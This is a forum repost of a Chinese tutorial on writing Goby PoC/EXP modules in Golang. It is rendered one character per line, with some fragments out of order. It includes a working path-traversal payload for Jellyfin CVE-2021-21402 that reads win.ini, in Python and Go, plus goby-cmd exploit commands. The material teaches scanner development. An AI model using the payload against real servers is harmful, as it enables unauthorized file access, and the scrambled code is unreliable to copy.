论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[17847] 2021-06-09_技术分享快速上手Golang编写PoC&EXP
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-18
IOT
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-06-09_技术分享快速上手Golang编写PoC&EXP
技
术
分
享
|
快
速
上
手
G
o
l
a
n
g
编
写
P
o
C
&
E
X
P
原
创
P
e
i
Q
i
G
o
b
y
S
e
c
2
0
2
1
-
0
6
-
0
9
收
录
于
话
题
#
技
术
分
享
,
3
个
G
o
b
y
社
区
第
1
5
篇
技
术
分
享
文
章
全
文
共
:
1
6
6
5
3
字
预
计
阅
读
时
间
:
3
0
分
钟
前
言
:
前
言
:
曾
经
大
部
分
师
傅
都
是
使
用
的
是
G
o
b
y
的
J
s
o
n
格
式
编
写
,
G
o
b
y
开
放
G
o
l
a
n
g
后
,
补
充
了
J
s
o
n
格
式
部
分
扩
展
性
的
不
足
,
这
篇
文
章
就
简
单
讲
讲
G
o
l
a
n
g
的
E
X
P
/
P
O
C
的
编
写
,
帮
助
师
傅
们
快
速
上
手
。
0
1
编
写
编
写
P
o
C
/
E
X
P
前
所
需
前
所
需
G
o
l
a
n
g
语
言
基
础
:
h
t
t
p
s
:
/
/
w
w
w
.
r
u
n
o
o
b
.
c
o
m
/
g
o
/
g
o
-
t
u
t
o
r
i
a
l
.
h
t
m
l
G
o
b
y
漏
洞
编
写
指
南
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
g
o
b
y
s
e
c
/
G
o
b
y
/
w
i
k
i
/
V
u
l
n
e
r
a
b
i
l
i
t
y
-
w
r
i
t
i
n
g
-
g
u
i
d
e
G
o
b
y
漏
洞
提
交
专
版
:
h
t
t
p
s
:
/
/
m
p
.
w
e
i
x
i
n
.
q
q
.
c
o
m
/
s
/
H
G
l
2
t
I
k
p
m
t
V
r
E
j
l
Y
Q
g
I
l
6
g
0
2
P
o
C
与
与
G
o
b
y
P
O
C
的
对
比
的
对
比
P
O
C
使
用
P
y
t
h
o
n
编
写
P
o
C
使
用
G
o
b
y
框
架
编
写
相
比
之
下
G
o
b
y
中
的
验
证
框
架
编
写
者
只
需
要
填
入
漏
洞
字
段
、
请
求
头
以
及
响
应
判
断
即
可
,
减
少
了
代
码
编
写
量
和
验
证
所
花
费
的
时
间
。
最
重
要
的
一
点
则
是
测
试
过
程
中
涉
及
的
资
产
一
般
是
很
多
的
,
在
不
清
楚
目
标
指
纹
的
一
些
情
况
下
,
盲
目
使
用
P
o
C
对
多
个
目
标
验
证
是
没
有
很
多
意
义
的
。
而
在
G
o
b
y
中
编
写
E
X
P
则
拥
有
对
多
个
目
标
的
指
纹
识
别
以
及
拥
有
扩
展
性
的
E
X
P
编
写
,
可
以
在
多
个
资
产
中
准
确
定
位
漏
洞
点
,
减
少
发
现
突
破
点
的
时
间
和
精
力
。
d
e
f
P
O
C
_
1
(
t
a
r
g
e
t
_
u
r
l
)
:
v
u
l
n
_
u
r
l
=
t
a
r
g
e
t
_
u
r
l
+
"
/
A
u
d
i
o
/
1
/
h
l
s
/
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
W
i
n
d
o
w
s
%
5
C
w
i
n
.
i
n
i
/
s
t
r
e
a
m
.
m
p
3
/
"
h
e
a
d
e
r
s
=
{
"
U
s
e
r
-
A
g
e
n
t
"
:
"
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
8
6
.
0
.
4
2
4
0
.
1
1
1
S
a
f
a
r
i
/
5
3
7
.
3
6
"
,
}
t
r
y
:
r
e
q
u
e
s
t
s
.
p
a
c
k
a
g
e
s
.
u
r
l
l
i
b
3
.
d
i
s
a
b
l
e
_
w
a
r
n
i
n
g
s
(
I
n
s
e
c
u
r
e
R
e
q
u
e
s
t
W
a
r
n
i
n
g
)
r
e
s
p
o
n
s
e
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
v
u
l
n
_
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
,
v
e
r
i
f
y
=
F
a
l
s
e
,
t
i
m
e
o
u
t
=
5
)
i
f
r
e
s
p
o
n
s
e
.
s
t
a
t
u
s
_
c
o
d
e
=
=
2
0
0
a
n
d
"
f
i
l
e
"
i
n
r
e
s
p
o
n
s
e
.
t
e
x
t
a
n
d
"
e
x
t
e
n
s
i
o
n
"
i
n
r
e
s
p
o
n
s
e
.
t
e
x
t
a
n
d
"
f
o
n
t
"
i
n
r
e
s
p
o
n
s
e
.
t
e
x
t
:
p
r
i
n
t
(
"
0
3
3
[
3
2
m
[
o
]
目
标
{
}
存
在
漏
洞
(
读
取
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
)
,
链
接
为
:
{
}
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
,
v
u
l
n
_
u
r
l
)
)
e
l
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
目
标
{
}
不
存
在
漏
洞
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
)
)
e
x
c
e
p
t
E
x
c
e
p
t
i
o
n
a
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
目
标
{
}
请
求
失
败
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
)
)
f
u
n
c
(
e
x
p
*
j
s
o
n
v
u
l
.
J
s
o
n
V
u
l
,
u
*
h
t
t
p
c
l
i
e
n
t
.
F
i
x
U
r
l
,
s
s
*
s
c
a
n
c
o
n
f
i
g
.
S
i
n
g
l
e
S
c
a
n
C
o
n
f
i
g
)
b
o
o
l
{
u
r
i
:
=
"
/
A
u
d
i
o
/
1
/
h
l
s
/
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
W
i
n
d
o
w
s
%
5
C
w
i
n
.
i
n
i
/
s
t
r
e
a
m
.
m
p
3
/
"
c
f
g
:
=
h
t
t
p
c
l
i
e
n
t
.
N
e
w
G
e
t
R
e
q
u
e
s
t
C
o
n
f
i
g
(
u
r
i
)
c
f
g
.
V
e
r
i
f
y
T
l
s
=
f
a
l
s
e
c
f
g
.
F
o
l
l
o
w
R
e
d
i
r
e
c
t
=
f
a
l
s
e
c
f
g
.
H
e
a
d
e
r
.
S
t
o
r
e
(
"
C
o
n
t
e
n
t
-
t
y
p
e
"
,
"
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
"
)
i
f
r
e
s
p
,
e
r
r
:
=
h
t
t
p
c
l
i
e
n
t
.
D
o
H
t
t
p
R
e
q
u
e
s
t
(
u
,
c
f
g
)
;
e
r
r
=
=
n
i
l
{
r
e
t
u
r
n
r
e
s
p
.
S
t
a
t
u
s
C
o
d
e
=
=
2
0
0
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
e
x
t
e
n
s
i
o
n
s
]
"
)
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
f
o
n
t
s
]
"
)
}
r
e
t
u
r
n
f
a
l
s
e
}
0
3
编
写
介
绍
编
写
介
绍
3
.
1
漏
洞
描
述
字
段
漏
洞
描
述
字
段
这
里
使
用
官
方
的
模
板
简
单
了
解
下
几
个
漏
洞
描
述
字
段
的
填
写
。
p
a
c
k
a
g
e
e
x
p
l
o
i
t
s
i
m
p
o
r
t
(
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
g
o
u
t
i
l
s
"
)
f
u
n
c
i
n
i
t
(
)
{
e
x
p
J
s
o
n
:
=
`
{
"
N
a
m
e
"
:
"
"
,
"
D
e
s
c
r
i
p
t
i
o
n
"
:
"
"
,
"
P
r
o
d
u
c
t
"
:
"
"
,
"
H
o
m
e
p
a
g
e
"
:
"
"
,
"
D
i
s
c
l
o
s
u
r
e
D
a
t
e
"
:
"
2
0
2
1
-
0
5
-
2
7
"
,
"
A
u
t
h
o
r
"
:
"
"
,
"
F
o
f
a
Q
u
e
r
y
"
:
"
"
,
"
L
e
v
e
l
"
:
"
"
,
"
I
m
p
a
c
t
"
:
"
"
,
"
R
e
c
o
m
m
e
n
d
a
t
i
o
n
"
:
"
"
,
"
R
e
f
e
r
e
n
c
e
s
"
:
[
"
h
t
t
p
:
/
/
f
o
f
a
.
s
o
"
]
,
"
H
a
s
E
x
p
"
:
f
a
l
s
e
,
"
E
x
p
P
a
r
a
m
s
"
:
n
u
l
l
,
"
E
x
p
T
i
p
s
"
:
{
"
T
y
p
e
"
:
"
"
,
"
C
o
n
t
e
n
t
"
:
"
"
}
,
"
S
c
a
n
S
t
e
p
s
"
:
[
"
A
N
D
"
,
{
"
R
e
q
u
e
s
t
"
:
{
"
d
a
t
a
"
:
"
"
,
"
d
a
t
a
_
t
y
p
e
"
:
"
t
e
x
t
"
,
"
f
o
l
l
o
w
_
r
e
d
i
r
e
c
t
"
:
t
r
u
e
,
"
m
e
t
h
o
d
"
:
"
G
E
T
"
,
"
u
r
i
"
:
"
/
"
}
,
"
R
e
s
p
o
n
s
e
T
e
s
t
"
:
{
"
c
h
e
c
k
s
"
:
[
{
"
b
z
"
:
"
"
,
"
o
p
e
r
a
t
i
o
n
"
:
"
=
=
"
,
"
t
y
p
e
"
:
"
i
t
e
m
"
,
"
v
a
l
u
e
"
:
"
2
0
0
"
,
"
v
a
r
i
a
b
l
e
"
:
"
$
c
o
d
e
"
}
]
,
"
o
p
e
r
a
t
i
o
n
"
:
"
A
N
D
"
,
"
t
y
p
e
"
:
"
g
r
o
u
p
"
}
}
]
,
"
E
x
p
l
o
i
t
S
t
e
p
s
"
:
n
u
l
l
,
"
T
a
g
s
"
:
n
u
l
l
,
"
C
V
E
I
D
s
"
:
n
u
l
l
,
"
C
V
S
S
S
c
o
r
e
"
:
"
0
.
0
"
,
"
A
t
t
a
c
k
S
u
r
f
a
c
e
s
"
:
{
"
A
p
p
l
i
c
a
t
i
o
n
"
:
n
u
l
l
,
"
S
u
p
p
o
r
t
"
:
n
u
l
l
,
"
S
e
r
v
i
c
e
"
:
n
u
l
l
,
"
S
y
s
t
e
m
"
:
n
u
l
l
,
"
H
a
r
d
w
a
r
e
"
:
n
u
l
l
}
}
`
E
x
p
M
a
n
a
g
e
r
.
A
d
d
E
x
p
l
o
i
t
(
N
e
w
E
x
p
l
o
i
t
(
g
o
u
t
i
l
s
.
G
e
t
F
i
l
e
N
a
m
e
(
)
,
e
x
p
J
s
o
n
,
n
i
l
,
n
i
l
,
名
称
名
称
含
义
含
义
N
a
m
e
漏
洞
名
称
,
例
如
:
x
x
x
O
A
x
x
x
.
p
h
p
R
C
E
(
需
要
注
意
的
是
整
个
E
X
P
中
是
不
允
许
出
现
中
文
的
,
以
下
字
段
同
样
)
D
e
s
c
r
i
p
t
i
o
n
漏
洞
描
述
,
例
如
:
T
h
e
a
t
t
a
c
k
e
r
c
a
n
o
b
t
a
i
n
t
h
e
s
e
n
s
i
t
i
v
e
i
n
f
o
r
m
a
t
i
o
n
o
f
t
h
e
s
e
r
v
e
r
t
h
r
o
u
g
h
d
i
r
e
c
t
o
r
y
t
r
a
v
e
r
s
a
l
P
r
o
d
u
c
t
漏
洞
对
应
产
品
,
例
如
:
x
x
x
O
A
H
o
m
e
p
a
g
e
漏
洞
对
用
产
品
的
主
页
,
例
如
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
o
m
D
i
s
c
l
o
s
u
r
e
D
a
t
e
漏
洞
披
露
时
间
,
格
式
为
y
y
y
y
-
m
m
-
d
d
,
例
如
:
2
0
2
1
-
0
5
-
1
7
A
u
t
h
o
r
P
o
C
&
E
x
p
作
者
,
例
如
:
P
e
i
Q
i
G
o
b
y
Q
u
e
r
y
漏
洞
对
应
产
品
的
资
产
查
询
规
则
,
例
如
:
a
p
p
=
"
x
x
x
O
A
"
(
这
里
的
指
纹
并
不
是
F
O
F
A
的
指
纹
,
而
是
G
o
b
y
识
别
的
指
纹
)
L
e
v
e
l
漏
洞
等
级
,
0
代
表
低
危
、
1
代
表
中
卫
、
2
代
表
高
危
、
3
代
表
严
重
I
m
p
a
c
t
漏
洞
产
生
的
影
响
R
e
c
o
m
m
e
n
d
a
t
i
o
n
漏
洞
修
复
建
议
R
e
f
e
r
e
n
c
e
s
漏
洞
参
考
链
接
H
a
s
E
x
p
是
否
录
入
E
x
p
,
值
为
t
r
u
e
或
f
a
l
s
e
(
打
开
E
X
P
模
式
)
E
x
p
P
a
r
a
m
s
E
x
p
需
要
传
入
的
参
数
S
c
a
n
S
t
e
p
s
J
S
O
N
格
式
定
义
漏
洞
P
o
C
逻
辑
E
x
p
l
o
i
t
S
t
e
p
s
J
S
O
N
格
式
定
义
漏
洞
E
x
p
逻
辑
T
a
g
s
漏
洞
类
型
,
值
为
r
c
e
(
远
程
代
码
执
行
)
、
f
i
l
e
r
e
a
d
(
文
件
读
取
)
、
s
q
l
i
(
S
Q
L
注
入
)
、
d
e
f
a
u
l
t
a
c
c
o
u
n
t
(
默
认
口
令
)
、
i
n
f
o
l
e
a
k
(
信
息
泄
露
)
C
V
E
I
D
s
C
V
E
漏
洞
编
号
,
格
式
为
[
"
C
V
E
-
2
0
2
1
-
0
0
0
1
"
,
"
C
V
E
-
2
0
2
1
-
1
0
0
0
"
]
C
V
S
S
S
c
o
r
e
C
V
S
S
漏
洞
评
分
A
t
t
a
c
k
S
u
r
f
a
c
e
s
漏
洞
对
应
产
品
的
系
统
层
级
,
如
G
i
t
L
a
b
是
一
个
W
e
b
应
用
,
填
到
A
p
p
l
i
c
a
t
i
o
n
层
;
S
t
r
u
t
s
2
是
一
个
W
e
b
开
发
框
架
,
填
到
S
u
p
p
o
r
t
层
;
T
o
m
c
a
t
是
W
e
b
服
务
程
序
,
填
到
S
e
r
v
i
c
e
层
;
U
b
u
n
t
u
是
操
作
系
统
,
填
到
S
y
s
t
e
m
层
;
F
U
J
I
-
X
E
R
O
X
-
P
r
i
n
t
e
r
是
打
印
机
,
填
到
H
a
r
d
w
a
r
e
层
其
中
需
要
重
点
填
写
的
参
数
为
:
G
o
b
y
Q
u
e
r
y
,
H
a
s
E
x
p
,
E
x
p
P
a
r
a
m
s
例
如
G
o
b
y
扫
描
出
的
指
纹
为
下
图
,
则
G
o
b
y
Q
u
e
r
y
填
入
:
(
"
G
o
b
y
Q
u
e
r
y
"
:
"
a
p
p
=
"
k
i
n
g
d
e
e
-
E
A
S
"
"
)
注
:
语
句
中
"
是
需
要
转
义
的
,
即
"
H
a
s
E
X
P
和
E
x
p
P
a
r
a
m
s
则
通
过
后
文
的
例
子
来
了
解
详
细
用
法
。
3
.
2
g
o
b
y
-
c
m
d
.
e
x
e
验
证
验
证
当
编
写
好
了
E
X
P
后
,
可
以
使
用
g
o
b
y
-
c
m
d
.
e
x
e
来
验
证
漏
洞
(
g
o
l
i
b
目
录
下
)
。
主
要
用
于
漏
洞
编
写
的
有
四
条
语
句
。
0
4
漏
洞
编
写
漏
洞
编
写
4
.
1
任
意
文
件
读
取
漏
洞
编
写
任
意
文
件
读
取
漏
洞
编
写
n
i
l
,
)
)
}
#
使
用
C
V
E
编
号
获
取
漏
洞
数
据
并
自
动
填
写
到
漏
洞
模
板
,
若
没
有
C
V
E
I
D
可
省
略
.
/
g
o
b
y
-
c
m
d
-
m
o
d
e
g
e
n
p
o
c
-
C
V
E
I
D
C
V
E
-
2
0
2
1
-
2
1
3
8
0
-
e
x
p
o
r
t
F
i
l
e
a
.
g
o
#
支
持
通
过
代
理
获
取
漏
洞
数
据
.
/
g
o
b
y
-
c
m
d
-
m
o
d
e
g
e
n
p
o
c
-
C
V
E
I
D
C
V
E
-
2
0
2
1
-
2
1
3
8
0
-
e
x
p
o
r
t
F
i
l
e
a
.
g
o
-
p
r
o
x
y
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
1
0
8
0
#
运
行
已
经
编
写
完
成
的
漏
洞
文
件
,
使
用
P
o
C
扫
描
.
/
g
o
b
y
-
c
m
d
-
m
o
d
e
r
u
n
p
o
c
-
o
p
e
r
a
t
i
o
n
s
c
a
n
-
p
o
c
F
i
l
e
e
x
p
l
o
i
t
s
u
s
e
r
a
.
g
o
-
t
a
r
g
e
t
1
2
7
.
0
.
0
.
1
#
运
行
已
经
编
写
完
成
的
漏
洞
文
件
,
执
行
E
x
p
利
用
,
并
传
递
c
m
d
参
数
的
值
.
/
g
o
b
y
-
c
m
d
-
m
o
d
e
r
u
n
p
o
c
-
o
p
e
r
a
t
i
o
n
e
x
p
l
o
i
t
-
p
o
c
F
i
l
e
e
x
p
l
o
i
t
s
u
s
e
r
a
.
g
o
-
t
a
r
g
e
t
1
2
7
.
0
.
0
.
1
-
p
a
r
a
m
s
'
{
"
c
m
d
"
:
"
w
h
o
a
m
i
"
}
'
这
里
使
用
J
e
l
l
y
f
i
n
任
意
文
件
读
取
漏
洞
(
C
V
E
-
2
0
2
1
-
2
1
4
0
2
)
来
作
为
一
个
例
子
,
这
里
涉
及
使
用
G
o
b
y
的
一
次
发
包
验
证
漏
洞
。
由
于
是
C
V
E
漏
洞
,
这
里
可
以
使
用
公
开
的
信
息
填
写
基
本
漏
洞
信
息
模
板
。
执
行
后
在
e
x
p
l
o
i
t
s
u
s
e
r
目
录
中
就
可
以
看
到
生
产
的
P
o
C
模
板
了
,
生
成
后
还
需
要
填
写
如
下
图
几
个
字
段
完
善
文
件
(
F
o
f
a
Q
u
e
r
y
不
必
要
,
可
以
不
填
)
。
通
过
扫
描
获
取
目
标
的
G
o
b
y
指
纹
。
这
里
指
纹
没
有
识
别
出
来
,
我
们
需
要
自
定
义
语
句
来
识
别
目
标
(
语
句
类
似
于
F
O
F
A
,
对
没
有
识
别
出
指
纹
的
可
以
通
过
t
i
t
l
e
或
b
o
d
y
自
定
义
识
别
)
。
最
终
完
成
的
效
果
为
,
这
里
的
i
m
p
o
r
t
为
常
引
用
的
包
,
需
要
添
加
进
去
。
g
o
b
y
-
c
m
d
-
m
o
d
e
g
e
n
p
o
c
-
C
V
E
I
D
C
V
E
-
2
0
2
1
-
2
1
4
0
2
-
e
x
p
o
r
t
F
i
l
e
e
x
p
l
o
i
t
s
u
s
e
r
J
e
l
l
y
f
i
n
_
A
u
d
i
o
_
F
i
l
e
_
r
e
a
d
_
C
V
E
_
2
0
2
1
_
2
1
4
0
2
.
g
o
"
G
o
b
y
Q
u
e
r
y
"
:
"
t
i
t
l
e
=
"
J
e
l
l
y
f
i
n
"
"
,
p
a
c
k
a
g
e
e
x
p
l
o
i
t
s
i
m
p
o
r
t
(
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
g
o
u
t
i
l
s
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
j
s
o
n
v
u
l
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
s
c
a
n
c
o
n
f
i
g
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
h
t
t
p
c
l
i
e
n
t
"
"
s
t
r
i
n
g
s
"
"
f
m
t
"
)
f
u
n
c
i
n
i
t
(
)
{
e
x
p
J
s
o
n
:
=
`
{
"
N
a
m
e
"
:
"
J
e
l
l
y
f
i
n
A
u
d
i
o
F
i
l
e
r
e
a
d
(
C
V
E
-
2
0
2
1
-
2
1
4
0
2
)
"
,
"
D
e
s
c
r
i
p
t
i
o
n
"
:
"
J
e
l
l
y
f
i
n
i
s
a
F
r
e
e
S
o
f
t
w
a
r
e
M
e
d
i
a
S
y
s
t
e
m
.
I
n
J
e
l
l
y
f
i
n
b
e
f
o
r
e
v
e
r
s
i
o
n
1
0
.
7
.
1
,
w
i
t
h
c
e
r
t
a
i
n
e
n
d
p
o
i
n
t
s
,
w
e
l
l
c
r
a
f
t
e
d
r
e
q
u
e
s
t
s
w
i
l
l
a
l
l
o
w
a
r
b
i
t
r
a
r
y
f
i
l
e
r
e
a
d
f
r
o
m
a
J
e
l
l
y
f
i
n
s
e
r
v
e
r
'
s
f
i
l
e
s
y
s
t
e
m
.
T
h
i
s
i
s
s
u
e
i
s
m
o
r
e
p
r
e
v
a
l
e
n
t
w
h
e
n
W
i
n
d
o
w
s
i
s
u
s
e
d
a
s
t
h
e
h
o
s
t
O
S
.
S
e
r
v
e
r
s
t
h
a
t
a
r
e
e
x
p
o
s
e
d
t
o
t
h
e
p
u
b
l
i
c
I
n
t
e
r
n
e
t
a
r
e
p
o
t
e
n
t
i
a
l
l
y
a
t
r
i
s
k
.
T
h
i
s
i
s
f
i
x
e
d
i
n
v
e
r
s
i
o
n
1
0
.
7
.
1
.
A
s
a
w
o
r
k
a
r
o
u
n
d
,
u
s
e
r
s
m
a
y
b
e
a
b
l
e
t
o
r
e
s
t
r
i
c
t
s
o
m
e
a
c
c
e
s
s
b
y
e
n
f
o
r
c
i
n
g
s
t
r
i
c
t
s
e
c
u
r
i
t
y
p
e
r
m
i
s
s
i
o
n
s
o
n
t
h
e
i
r
f
i
l
e
s
y
s
t
e
m
,
h
o
w
e
v
e
r
,
i
t
i
s
r
e
c
o
m
m
e
n
d
e
d
t
o
u
p
d
a
t
e
a
s
s
o
o
n
a
s
p
o
s
s
i
b
l
e
.
"
"
P
r
o
d
u
c
t
"
:
"
J
e
l
l
y
f
i
n
"
,
"
H
o
m
e
p
a
g
e
"
:
"
h
t
t
p
s
:
/
/
j
e
l
l
y
f
i
n
.
o
r
g
/
"
,
"
D
i
s
c
l
o
s
u
r
e
D
a
t
e
"
:
"
2
0
2
1
-
0
3
-
2
3
"
,
"
A
u
t
h
o
r
"
:
"
P
e
i
Q
i
"
,
"
G
o
b
y
Q
u
e
r
y
"
:
"
t
i
t
l
e
=
"
J
e
l
l
y
f
i
n
"
"
,
"
L
e
v
e
l
"
:
"
2
"
,
"
I
m
p
a
c
t
"
:
"
f
i
l
e
r
e
a
d
"
,
"
R
e
c
o
m
m
e
n
d
a
t
i
o
n
"
:
"
U
p
d
a
t
e
p
a
t
c
h
e
s
i
n
t
i
m
e
"
,
"
R
e
f
e
r
e
n
c
e
s
"
:
"
h
t
t
p
s
:
/
/
c
v
e
.
m
i
t
r
e
.
o
r
g
/
c
g
i
-
b
i
n
/
c
v
e
n
a
m
e
.
c
g
i
?
n
a
m
e
=
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
,
"
R
e
a
l
R
e
f
e
r
e
n
c
e
s
"
:
[
接
下
来
需
要
编
写
P
o
C
字
段
,
首
先
我
们
需
要
知
道
漏
洞
的
发
包
逻
辑
。
这
个
漏
洞
我
们
得
知
需
要
的
请
求
为
。
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
c
o
m
m
i
t
/
0
1
8
3
e
f
8
e
8
9
1
9
5
f
4
2
0
c
4
8
d
2
6
0
0
b
c
0
b
7
2
f
6
d
3
a
7
f
d
7
"
,
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
r
e
l
e
a
s
e
s
/
t
a
g
/
v
1
0
.
7
.
1
"
,
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
s
e
c
u
r
i
t
y
/
a
d
v
i
s
o
r
i
e
s
/
G
H
S
A
-
w
g
4
c
-
c
9
g
9
-
r
x
h
x
"
,
"
h
t
t
p
s
:
/
/
n
v
d
.
n
i
s
t
.
g
o
v
/
v
u
l
n
/
d
e
t
a
i
l
/
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
,
"
h
t
t
p
s
:
/
/
c
v
e
.
m
i
t
r
e
.
o
r
g
/
c
g
i
-
b
i
n
/
c
v
e
n
a
m
e
.
c
g
i
?
n
a
m
e
=
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
]
,
"
H
a
s
E
x
p
"
:
n
u
l
l
,
"
E
x
p
P
a
r
a
m
s
"
:
n
u
l
l
,
"
E
x
p
T
i
p
s
"
:
{
"
T
y
p
e
"
:
"
"
,
"
C
o
n
t
e
n
t
"
:
"
"
}
,
"
S
c
a
n
S
t
e
p
s
"
:
[
"
A
N
D
"
,
{
"
R
e
q
u
e
s
t
"
:
{
"
d
a
t
a
"
:
"
"
,
"
d
a
t
a
_
t
y
p
e
"
:
"
t
e
x
t
"
,
"
f
o
l
l
o
w
_
r
e
d
i
r
e
c
t
"
:
t
r
u
e
,
"
m
e
t
h
o
d
"
:
"
G
E
T
"
,
"
u
r
i
"
:
"
/
"
}
,
"
R
e
s
p
o
n
s
e
T
e
s
t
"
:
{
"
c
h
e
c
k
s
"
:
[
{
"
b
z
"
:
"
"
,
"
o
p
e
r
a
t
i
o
n
"
:
"
=
=
"
,
"
t
y
p
e
"
:
"
i
t
e
m
"
,
"
v
a
l
u
e
"
:
"
2
0
0
"
,
"
v
a
r
i
a
b
l
e
"
:
"
$
c
o
d
e
"
}
]
,
"
o
p
e
r
a
t
i
o
n
"
:
"
A
N
D
"
,
"
t
y
p
e
"
:
"
g
r
o
u
p
"
}
}
]
,
"
E
x
p
l
o
i
t
S
t
e
p
s
"
:
n
u
l
l
,
"
T
a
g
s
"
:
[
"
F
i
l
e
r
e
a
d
"
]
,
"
C
V
E
I
D
s
"
:
[
"
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
]
,
"
C
V
S
S
S
c
o
r
e
"
:
"
6
.
5
"
,
"
A
t
t
a
c
k
S
u
r
f
a
c
e
s
"
:
{
"
A
p
p
l
i
c
a
t
i
o
n
"
:
[
"
J
e
l
l
y
f
i
n
"
]
,
"
S
u
p
p
o
r
t
"
:
n
u
l
l
,
"
S
e
r
v
i
c
e
"
:
n
u
l
l
,
"
S
y
s
t
e
m
"
:
n
u
l
l
,
"
H
a
r
d
w
a
r
e
"
:
n
u
l
l
}
,
"
D
i
s
a
b
l
e
"
:
f
a
l
s
e
}
`
g
o
p
o
c
.
E
x
p
M
a
n
a
g
e
r
.
A
d
d
E
x
p
l
o
i
t
(
g
o
p
o
c
.
N
e
w
E
x
p
l
o
i
t
(
g
o
u
t
i
l
s
.
G
e
t
F
i
l
e
N
a
m
e
(
)
,
e
x
p
J
s
o
n
,
n
i
l
,
n
i
l
,
)
)
}
G
E
T
/
A
u
d
i
o
/
1
/
h
l
s
/
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
W
i
n
d
o
w
s
%
5
C
w
i
n
.
i
n
i
/
s
t
r
e
a
m
.
m
p
3
/
其
中
P
o
C
&
E
X
P
主
要
代
码
模
块
模
板
如
下
:
这
里
通
过
已
经
填
写
好
的
P
o
C
来
了
解
参
数
字
段
。
根
据
上
面
的
请
求
包
也
可
以
发
现
u
r
i
为
漏
洞
请
求
,
而
c
f
g
则
用
于
h
e
a
d
e
r
头
等
配
置
的
添
加
。
名
称
名
称
含
义
含
义
u
r
i
请
求
漏
洞
点
的
访
问
路
径
h
t
t
p
c
l
i
e
n
t
.
N
e
w
G
e
t
R
e
q
u
e
s
t
C
o
n
f
i
g
发
送
G
E
T
请
求
h
t
t
p
c
l
i
e
n
t
.
N
e
w
P
o
s
t
R
e
q
u
e
s
t
C
o
n
f
i
g
发
送
P
O
S
T
请
求
c
f
g
.
V
e
r
i
f
y
T
l
s
忽
略
证
书
,
常
用
字
段
c
f
g
.
F
o
l
l
o
w
R
e
d
i
r
e
c
t
不
跟
随
网
页
跳
转
c
f
g
.
H
e
a
d
e
r
.
S
t
o
r
e
添
加
请
求
头
,
如
C
o
n
t
e
n
t
-
t
y
p
e
等
c
f
g
.
D
a
t
a
P
O
S
T
请
求
传
输
的
数
据
例
如
c
f
g
.
D
a
t
a
=
"
D
a
t
a
"
h
t
t
p
c
l
i
e
n
t
.
D
o
H
t
t
p
R
e
q
u
e
s
t
(
u
,
c
f
g
)
通
过
填
写
的
c
f
g
u
r
i
发
送
定
义
的
请
求
r
e
s
p
.
S
t
a
t
u
s
C
o
d
e
发
送
请
求
返
回
的
响
应
码
r
e
s
p
.
U
t
f
8
H
t
m
l
发
送
请
求
返
回
的
响
应
r
e
s
p
.
H
e
a
d
e
.
G
e
t
(
"
C
o
o
k
i
e
"
)
获
取
发
送
请
求
返
回
的
响
应
中
的
C
o
o
k
i
e
字
段
其
中
用
于
判
断
漏
洞
是
否
存
在
的
代
码
为
这
里
的
意
义
为
响
应
码
为
2
0
0
且
响
应
中
包
含
w
i
n
.
i
n
i
文
件
的
[
e
x
t
e
n
s
i
o
n
s
]
和
[
f
o
n
t
s
]
字
符
串
则
返
回
t
r
u
e
,
验
证
